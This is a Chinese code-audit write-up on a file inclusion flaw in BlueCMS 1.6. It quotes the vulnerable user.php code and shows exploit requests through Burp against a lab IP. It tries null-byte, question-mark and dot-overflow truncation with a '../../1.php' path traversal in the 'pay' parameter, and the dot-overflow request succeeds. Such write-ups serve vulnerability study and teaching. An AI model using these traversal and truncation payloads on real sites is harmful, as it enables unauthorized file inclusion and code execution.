代码审计:bluecms 文件包含漏洞复现
bluecms代码审计漏洞利用bluecms
BlueCMS是一款专注于地方门户网站建设解决方案,基于PHP+MySQL的技术开发,全部源码开放。
复现版本为bluecmsv1.6版本,各位可自行下载。
代码审计
先使用Seay工具审计一波,根据关键代码回溯。
工具显示user.php文件包含函数存在可控变量,可能存在文件包含漏洞,我们打开代码所在php文件进一步查看。
关键代码:
elseif ($act == pay){include data/pay.cache.php;$price = $_POST[price];$id = $_POST[id];$name = $_POST[
ame];if (empty($_POST[pay])) {showmsg(对不起,您没有选择支付方式);}include include/payment/.$_POST[pay]."/index.php";}
可以看到,如果act参数为pay值,这包含相应文件,其中pay参数没有过滤。
按道理只要截断一下,应该可以利用此漏洞。
我们先试图验证一下,在根目录放上一个1.php,以供验证。
http://192.168.43.150/bluecms1.6/1.php
去到漏洞链接所在处,会员中心->充值中心->金币充值->在线支付
打开burp抓包,发到repeater模块,构造exp。
%00截断,失败price=1&id=2&name=2&pay=../../1.php%00?号截断,失败price=1&id=2&name=2&pay=../../1.php?.溢出截断,成功price=1&id=2&name=2&pay=../../1.php..........................................................................................................